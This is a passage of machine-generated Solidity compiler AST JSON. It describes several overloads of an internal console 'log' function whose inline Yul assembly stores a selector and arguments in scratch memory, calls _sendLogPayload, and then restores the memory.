4109:17:22","nodeType":"YulAssignment","src":"164109:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"164121:4:22","nodeType":"YulLiteral","src":"164121:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"164115:5:22","nodeType":"YulIdentifier","src":"164115:5:22"},"nativeSrc":"164115:11:22","nodeType":"YulFunctionCall","src":"164115:11:22"},"variableNames":[{"name":"m0","nativeSrc":"164109:2:22","nodeType":"YulIdentifier","src":"164109:2:22"}]},{"nativeSrc":"164139:17:22","nodeType":"YulAssignment","src":"164139:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"164151:4:22","nodeType":"YulLiteral","src":"164151:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"164145:5:22","nodeType":"YulIdentifier","src":"164145:5:22"},"nativeSrc":"164145:11:22","nodeType":"YulFunctionCall","src":"164145:11:22"},"variableNames":[{"name":"m1","nativeSrc":"164139:2:22","nodeType":"YulIdentifier","src":"164139:2:22"}]},{"nativeSrc":"164169:17:22","nodeType":"YulAssignment","src":"164169:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"164181:4:22","nodeType":"YulLiteral","src":"164181:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"164175:5:22","nodeType":"YulIdentifier","src":"164175:5:22"},"nativeSrc":"164175:11:22","nodeType":"YulFunctionCall","src":"164175:11:22"},"variableNames":[{"name":"m2","nativeSrc":"164169:2:22","nodeType":"YulIdentifier","src":"164169:2:22"}]},{"nativeSrc":"164199:17:22","nodeType":"YulAssignment","src":"164199:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"164211:4:22","nodeType":"YulLiteral","src":"164211:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"164205:5:22","nodeType":"YulIdentifier","src":"164205:5:22"},"nativeSrc":"164205:11:22","nodeType":"YulFunctionCall","src":"164205:11:22"},"variableNames":[{"name":"m3","nativeSrc":"164199:2:22","nodeType":"YulIdentifier","src":"164199:2:22"}]},{"nativeSrc":"164229:17:22","nodeType":"YulAssignment","src":"164229:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"164241:4:22","nodeType":"YulLiteral","src":"164241:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"164235:5:22","nodeType":"YulIdentifier","src":"164235:5:22"},"nativeSrc":"164235:11:22","nodeType":"YulFunctionCall","src":"164235:11:22"},"variableNames":[{"name":"m4","nativeSrc":"164229:2:22","nodeType":"YulIdentifier","src":"164229:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"164330:4:22","nodeType":"YulLiteral","src":"164330:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"164336:10:22","nodeType":"YulLiteral","src":"164336:10:22","type":"","value":"0x136b05dd"}],"functionName":{"name":"mstore","nativeSrc":"164323:6:22","nodeType":"YulIdentifier","src":"164323:6:22"},"nativeSrc":"164323:24:22","nodeType":"YulFunctionCall","src":"164323:24:22"},"nativeSrc":"164323:24:22","nodeType":"YulExpressionStatement","src":"164323:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"164367:4:22","nodeType":"YulLiteral","src":"164367:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"164373:2:22","nodeType":"YulIdentifier","src":"164373:2:22"}],"functionName":{"name":"mstore","nativeSrc":"164360:6:22","nodeType":"YulIdentifier","src":"164360:6:22"},"nativeSrc":"164360:16:22","nodeType":"YulFunctionCall","src":"164360:16:22"},"nativeSrc":"164360:16:22","nodeType":"YulExpressionStatement","src":"164360:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"164396:4:22","nodeType":"YulLiteral","src":"164396:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"164402:2:22","nodeType":"YulIdentifier","src":"164402:2:22"}],"functionName":{"name":"mstore","nativeSrc":"164389:6:22","nodeType":"YulIdentifier","src":"164389:6:22"},"nativeSrc":"164389:16:22","nodeType":"YulFunctionCall","src":"164389:16:22"},"nativeSrc":"164389:16:22","nodeType":"YulExpressionStatement","src":"164389:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"164425:4:22","nodeType":"YulLiteral","src":"164425:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"164431:2:22","nodeType":"YulIdentifier","src":"164431:2:22"}],"functionName":{"name":"mstore","nativeSrc":"164418:6:22","nodeType":"YulIdentifier","src":"164418:6:22"},"nativeSrc":"164418:16:22","nodeType":"YulFunctionCall","src":"164418:16:22"},"nativeSrc":"164418:16:22","nodeType":"YulExpressionStatement","src":"164418:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"164454:4:22","nodeType":"YulLiteral","src":"164454:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"164460:2:22","nodeType":"YulIdentifier","src":"164460:2:22"}],"functionName":{"name":"mstore","nativeSrc":"164447:6:22","nodeType":"YulIdentifier","src":"164447:6:22"},"nativeSrc":"164447:16:22","nodeType":"YulFunctionCall","src":"164447:16:22"},"nativeSrc":"164447:16:22","nodeType":"YulExpressionStatement","src":"164447:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39106,"isOffset":false,"isSlot":false,"src":"164109:2:22","valueSize":1},{"declaration":39109,"isOffset":false,"isSlot":false,"src":"164139:2:22","valueSize":1},{"declaration":39112,"isOffset":false,"isSlot":false,"src":"164169:2:22","valueSize":1},{"declaration":39115,"isOffset":false,"isSlot":false,"src":"164199:2:22","valueSize":1},{"declaration":39118,"isOffset":false,"isSlot":false,"src":"164229:2:22","valueSize":1},{"declaration":39096,"isOffset":false,"isSlot":false,"src":"164373:2:22","valueSize":1},{"declaration":39098,"isOffset":false,"isSlot":false,"src":"164402:2:22","valueSize":1},{"declaration":39100,"isOffset":false,"isSlot":false,"src":"164431:2:22","valueSize":1},{"declaration":39102,"isOffset":false,"isSlot":false,"src":"164460:2:22","valueSize":1}],"id":39120,"nodeType":"InlineAssembly","src":"164086:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39122,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"164498:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39123,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"164504:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39121,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"164482:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39124,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"164482:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39125,"nodeType":"ExpressionStatement","src":"164482:27:22"},{"AST":{"nativeSrc":"164528:156:22","nodeType":"YulBlock","src":"164528:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"164549:4:22","nodeType":"YulLiteral","src":"164549:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"164555:2:22","nodeType":"YulIdentifier","src":"164555:2:22"}],"functionName":{"name":"mstore","nativeSrc":"164542:6:22","nodeType":"YulIdentifier","src":"164542:6:22"},"nativeSrc":"164542:16:22","nodeType":"YulFunctionCall","src":"164542:16:22"},"nativeSrc":"164542:16:22","nodeType":"YulExpressionStatement","src":"164542:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"164578:4:22","nodeType":"YulLiteral","src":"164578:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"164584:2:22","nodeType":"YulIdentifier","src":"164584:2:22"}],"functionName":{"name":"mstore","nativeSrc":"164571:6:22","nodeType":"YulIdentifier","src":"164571:6:22"},"nativeSrc":"164571:16:22","nodeType":"YulFunctionCall","src":"164571:16:22"},"nativeSrc":"164571:16:22","nodeType":"YulExpressionStatement","src":"164571:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"164607:4:22","nodeType":"YulLiteral","src":"164607:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"164613:2:22","nodeType":"YulIdentifier","src":"164613:2:22"}],"functionName":{"name":"mstore","nativeSrc":"164600:6:22","nodeType":"YulIdentifier","src":"164600:6:22"},"nativeSrc":"164600:16:22","nodeType":"YulFunctionCall","src":"164600:16:22"},"nativeSrc":"164600:16:22","nodeType":"YulExpressionStatement","src":"164600:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"164636:4:22","nodeType":"YulLiteral","src":"164636:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"164642:2:22","nodeType":"YulIdentifier","src":"164642:2:22"}],"functionName":{"name":"mstore","nativeSrc":"164629:6:22","nodeType":"YulIdentifier","src":"164629:6:22"},"nativeSrc":"164629:16:22","nodeType":"YulFunctionCall","src":"164629:16:22"},"nativeSrc":"164629:16:22","nodeType":"YulExpressionStatement","src":"164629:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"164665:4:22","nodeType":"YulLiteral","src":"164665:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"164671:2:22","nodeType":"YulIdentifier","src":"164671:2:22"}],"functionName":{"name":"mstore","nativeSrc":"164658:6:22","nodeType":"YulIdentifier","src":"164658:6:22"},"nativeSrc":"164658:16:22","nodeType":"YulFunctionCall","src":"164658:16:22"},"nativeSrc":"164658:16:22","nodeType":"YulExpressionStatement","src":"164658:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39106,"isOffset":false,"isSlot":false,"src":"164555:2:22","valueSize":1},{"declaration":39109,"isOffset":false,"isSlot":false,"src":"164584:2:22","valueSize":1},{"declaration":39112,"isOffset":false,"isSlot":false,"src":"164613:2:22","valueSize":1},{"declaration":39115,"isOffset":false,"isSlot":false,"src":"164642:2:22","valueSize":1},{"declaration":39118,"isOffset":false,"isSlot":false,"src":"164671:2:22","valueSize":1}],"id":39126,"nodeType":"InlineAssembly","src":"164519:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"163913:3:22","parameters":{"id":39103,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39096,"mutability":"mutable","name":"p0","nameLocation":"163922:2:22","nodeType":"VariableDeclaration","scope":39128,"src":"163917:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39095,"name":"bool","nodeType":"ElementaryTypeName","src":"163917:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39098,"mutability":"mutable","name":"p1","nameLocation":"163934:2:22","nodeType":"VariableDeclaration","scope":39128,"src":"163926:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39097,"name":"address","nodeType":"ElementaryTypeName","src":"163926:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39100,"mutability":"mutable","name":"p2","nameLocation":"163946:2:22","nodeType":"VariableDeclaration","scope":39128,"src":"163938:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39099,"name":"uint256","nodeType":"ElementaryTypeName","src":"163938:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":39102,"mutability":"mutable","name":"p3","nameLocation":"163958:2:22","nodeType":"VariableDeclaration","scope":39128,"src":"163950:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39101,"name":"address","nodeType":"ElementaryTypeName","src":"163950:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"163916:45:22"},"returnParameters":{"id":39104,"nodeType":"ParameterList","parameters":[],"src":"163976:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39162,"nodeType":"FunctionDefinition","src":"164696:780:22","nodes":[],"body":{"id":39161,"nodeType":"Block","src":"164765:711:22","nodes":[],"statements":[{"assignments":[39140],"declarations":[{"constant":false,"id":39140,"mutability":"mutable","name":"m0","nameLocation":"164783:2:22","nodeType":"VariableDeclaration","scope":39161,"src":"164775:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39139,"name":"bytes32","nodeType":"ElementaryTypeName","src":"164775:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39141,"nodeType":"VariableDeclarationStatement","src":"164775:10:22"},{"assignments":[39143],"declarations":[{"constant":false,"id":39143,"mutability":"mutable","name":"m1","nameLocation":"164803:2:22","nodeType":"VariableDeclaration","scope":39161,"src":"164795:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39142,"name":"bytes32","nodeType":"ElementaryTypeName","src":"164795:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39144,"nodeType":"VariableDeclarationStatement","src":"164795:10:22"},{"assignments":[39146],"declarations":[{"constant":false,"id":39146,"mutability":"mutable","name":"m2","nameLocation":"164823:2:22","nodeType":"VariableDeclaration","scope":39161,"src":"164815:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39145,"name":"bytes32","nodeType":"ElementaryTypeName","src":"164815:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39147,"nodeType":"VariableDeclarationStatement","src":"164815:10:22"},{"assignments":[39149],"declarations":[{"constant":false,"id":39149,"mutability":"mutable","name":"m3","nameLocation":"164843:2:22","nodeType":"VariableDeclaration","scope":39161,"src":"164835:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39148,"name":"bytes32","nodeType":"ElementaryTypeName","src":"164835:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39150,"nodeType":"VariableDeclarationStatement","src":"164835:10:22"},{"assignments":[39152],"declarations":[{"constant":false,"id":39152,"mutability":"mutable","name":"m4","nameLocation":"164863:2:22","nodeType":"VariableDeclaration","scope":39161,"src":"164855:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39151,"name":"bytes32","nodeType":"ElementaryTypeName","src":"164855:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39153,"nodeType":"VariableDeclarationStatement","src":"164855:10:22"},{"AST":{"nativeSrc":"164884:375:22","nodeType":"YulBlock","src":"164884:375:22","statements":[{"nativeSrc":"164898:17:22","nodeType":"YulAssignment","src":"164898:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"164910:4:22","nodeType":"YulLiteral","src":"164910:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"164904:5:22","nodeType":"YulIdentifier","src":"164904:5:22"},"nativeSrc":"164904:11:22","nodeType":"YulFunctionCall","src":"164904:11:22"},"variableNames":[{"name":"m0","nativeSrc":"164898:2:22","nodeType":"YulIdentifier","src":"164898:2:22"}]},{"nativeSrc":"164928:17:22","nodeType":"YulAssignment","src":"164928:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"164940:4:22","nodeType":"YulLiteral","src":"164940:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"164934:5:22","nodeType":"YulIdentifier","src":"164934:5:22"},"nativeSrc":"164934:11:22","nodeType":"YulFunctionCall","src":"164934:11:22"},"variableNames":[{"name":"m1","nativeSrc":"164928:2:22","nodeType":"YulIdentifier","src":"164928:2:22"}]},{"nativeSrc":"164958:17:22","nodeType":"YulAssignment","src":"164958:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"164970:4:22","nodeType":"YulLiteral","src":"164970:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"164964:5:22","nodeType":"YulIdentifier","src":"164964:5:22"},"nativeSrc":"164964:11:22","nodeType":"YulFunctionCall","src":"164964:11:22"},"variableNames":[{"name":"m2","nativeSrc":"164958:2:22","nodeType":"YulIdentifier","src":"164958:2:22"}]},{"nativeSrc":"164988:17:22","nodeType":"YulAssignment","src":"164988:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"165000:4:22","nodeType":"YulLiteral","src":"165000:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"164994:5:22","nodeType":"YulIdentifier","src":"164994:5:22"},"nativeSrc":"164994:11:22","nodeType":"YulFunctionCall","src":"164994:11:22"},"variableNames":[{"name":"m3","nativeSrc":"164988:2:22","nodeType":"YulIdentifier","src":"164988:2:22"}]},{"nativeSrc":"165018:17:22","nodeType":"YulAssignment","src":"165018:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"165030:4:22","nodeType":"YulLiteral","src":"165030:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"165024:5:22","nodeType":"YulIdentifier","src":"165024:5:22"},"nativeSrc":"165024:11:22","nodeType":"YulFunctionCall","src":"165024:11:22"},"variableNames":[{"name":"m4","nativeSrc":"165018:2:22","nodeType":"YulIdentifier","src":"165018:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165116:4:22","nodeType":"YulLiteral","src":"165116:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"165122:10:22","nodeType":"YulLiteral","src":"165122:10:22","type":"","value":"0xd6019f1c"}],"functionName":{"name":"mstore","nativeSrc":"165109:6:22","nodeType":"YulIdentifier","src":"165109:6:22"},"nativeSrc":"165109:24:22","nodeType":"YulFunctionCall","src":"165109:24:22"},"nativeSrc":"165109:24:22","nodeType":"YulExpressionStatement","src":"165109:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165153:4:22","nodeType":"YulLiteral","src":"165153:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"165159:2:22","nodeType":"YulIdentifier","src":"165159:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165146:6:22","nodeType":"YulIdentifier","src":"165146:6:22"},"nativeSrc":"165146:16:22","nodeType":"YulFunctionCall","src":"165146:16:22"},"nativeSrc":"165146:16:22","nodeType":"YulExpressionStatement","src":"165146:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165182:4:22","nodeType":"YulLiteral","src":"165182:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"165188:2:22","nodeType":"YulIdentifier","src":"165188:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165175:6:22","nodeType":"YulIdentifier","src":"165175:6:22"},"nativeSrc":"165175:16:22","nodeType":"YulFunctionCall","src":"165175:16:22"},"nativeSrc":"165175:16:22","nodeType":"YulExpressionStatement","src":"165175:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165211:4:22","nodeType":"YulLiteral","src":"165211:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"165217:2:22","nodeType":"YulIdentifier","src":"165217:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165204:6:22","nodeType":"YulIdentifier","src":"165204:6:22"},"nativeSrc":"165204:16:22","nodeType":"YulFunctionCall","src":"165204:16:22"},"nativeSrc":"165204:16:22","nodeType":"YulExpressionStatement","src":"165204:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165240:4:22","nodeType":"YulLiteral","src":"165240:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"165246:2:22","nodeType":"YulIdentifier","src":"165246:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165233:6:22","nodeType":"YulIdentifier","src":"165233:6:22"},"nativeSrc":"165233:16:22","nodeType":"YulFunctionCall","src":"165233:16:22"},"nativeSrc":"165233:16:22","nodeType":"YulExpressionStatement","src":"165233:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39140,"isOffset":false,"isSlot":false,"src":"164898:2:22","valueSize":1},{"declaration":39143,"isOffset":false,"isSlot":false,"src":"164928:2:22","valueSize":1},{"declaration":39146,"isOffset":false,"isSlot":false,"src":"164958:2:22","valueSize":1},{"declaration":39149,"isOffset":false,"isSlot":false,"src":"164988:2:22","valueSize":1},{"declaration":39152,"isOffset":false,"isSlot":false,"src":"165018:2:22","valueSize":1},{"declaration":39130,"isOffset":false,"isSlot":false,"src":"165159:2:22","valueSize":1},{"declaration":39132,"isOffset":false,"isSlot":false,"src":"165188:2:22","valueSize":1},{"declaration":39134,"isOffset":false,"isSlot":false,"src":"165217:2:22","valueSize":1},{"declaration":39136,"isOffset":false,"isSlot":false,"src":"165246:2:22","valueSize":1}],"id":39154,"nodeType":"InlineAssembly","src":"164875:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39156,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"165284:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39157,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"165290:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39155,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"165268:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39158,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"165268:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39159,"nodeType":"ExpressionStatement","src":"165268:27:22"},{"AST":{"nativeSrc":"165314:156:22","nodeType":"YulBlock","src":"165314:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"165335:4:22","nodeType":"YulLiteral","src":"165335:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"165341:2:22","nodeType":"YulIdentifier","src":"165341:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165328:6:22","nodeType":"YulIdentifier","src":"165328:6:22"},"nativeSrc":"165328:16:22","nodeType":"YulFunctionCall","src":"165328:16:22"},"nativeSrc":"165328:16:22","nodeType":"YulExpressionStatement","src":"165328:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165364:4:22","nodeType":"YulLiteral","src":"165364:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"165370:2:22","nodeType":"YulIdentifier","src":"165370:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165357:6:22","nodeType":"YulIdentifier","src":"165357:6:22"},"nativeSrc":"165357:16:22","nodeType":"YulFunctionCall","src":"165357:16:22"},"nativeSrc":"165357:16:22","nodeType":"YulExpressionStatement","src":"165357:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165393:4:22","nodeType":"YulLiteral","src":"165393:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"165399:2:22","nodeType":"YulIdentifier","src":"165399:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165386:6:22","nodeType":"YulIdentifier","src":"165386:6:22"},"nativeSrc":"165386:16:22","nodeType":"YulFunctionCall","src":"165386:16:22"},"nativeSrc":"165386:16:22","nodeType":"YulExpressionStatement","src":"165386:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165422:4:22","nodeType":"YulLiteral","src":"165422:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"165428:2:22","nodeType":"YulIdentifier","src":"165428:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165415:6:22","nodeType":"YulIdentifier","src":"165415:6:22"},"nativeSrc":"165415:16:22","nodeType":"YulFunctionCall","src":"165415:16:22"},"nativeSrc":"165415:16:22","nodeType":"YulExpressionStatement","src":"165415:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165451:4:22","nodeType":"YulLiteral","src":"165451:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"165457:2:22","nodeType":"YulIdentifier","src":"165457:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165444:6:22","nodeType":"YulIdentifier","src":"165444:6:22"},"nativeSrc":"165444:16:22","nodeType":"YulFunctionCall","src":"165444:16:22"},"nativeSrc":"165444:16:22","nodeType":"YulExpressionStatement","src":"165444:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39140,"isOffset":false,"isSlot":false,"src":"165341:2:22","valueSize":1},{"declaration":39143,"isOffset":false,"isSlot":false,"src":"165370:2:22","valueSize":1},{"declaration":39146,"isOffset":false,"isSlot":false,"src":"165399:2:22","valueSize":1},{"declaration":39149,"isOffset":false,"isSlot":false,"src":"165428:2:22","valueSize":1},{"declaration":39152,"isOffset":false,"isSlot":false,"src":"165457:2:22","valueSize":1}],"id":39160,"nodeType":"InlineAssembly","src":"165305:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"164705:3:22","parameters":{"id":39137,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39130,"mutability":"mutable","name":"p0","nameLocation":"164714:2:22","nodeType":"VariableDeclaration","scope":39162,"src":"164709:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39129,"name":"bool","nodeType":"ElementaryTypeName","src":"164709:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39132,"mutability":"mutable","name":"p1","nameLocation":"164726:2:22","nodeType":"VariableDeclaration","scope":39162,"src":"164718:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39131,"name":"address","nodeType":"ElementaryTypeName","src":"164718:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39134,"mutability":"mutable","name":"p2","nameLocation":"164738:2:22","nodeType":"VariableDeclaration","scope":39162,"src":"164730:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39133,"name":"uint256","nodeType":"ElementaryTypeName","src":"164730:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":39136,"mutability":"mutable","name":"p3","nameLocation":"164747:2:22","nodeType":"VariableDeclaration","scope":39162,"src":"164742:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39135,"name":"bool","nodeType":"ElementaryTypeName","src":"164742:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"164708:42:22"},"returnParameters":{"id":39138,"nodeType":"ParameterList","parameters":[],"src":"164765:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39196,"nodeType":"FunctionDefinition","src":"165482:786:22","nodes":[],"body":{"id":39195,"nodeType":"Block","src":"165554:714:22","nodes":[],"statements":[{"assignments":[39174],"declarations":[{"constant":false,"id":39174,"mutability":"mutable","name":"m0","nameLocation":"165572:2:22","nodeType":"VariableDeclaration","scope":39195,"src":"165564:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39173,"name":"bytes32","nodeType":"ElementaryTypeName","src":"165564:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39175,"nodeType":"VariableDeclarationStatement","src":"165564:10:22"},{"assignments":[39177],"declarations":[{"constant":false,"id":39177,"mutability":"mutable","name":"m1","nameLocation":"165592:2:22","nodeType":"VariableDeclaration","scope":39195,"src":"165584:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39176,"name":"bytes32","nodeType":"ElementaryTypeName","src":"165584:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39178,"nodeType":"VariableDeclarationStatement","src":"165584:10:22"},{"assignments":[39180],"declarations":[{"constant":false,"id":39180,"mutability":"mutable","name":"m2","nameLocation":"165612:2:22","nodeType":"VariableDeclaration","scope":39195,"src":"165604:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":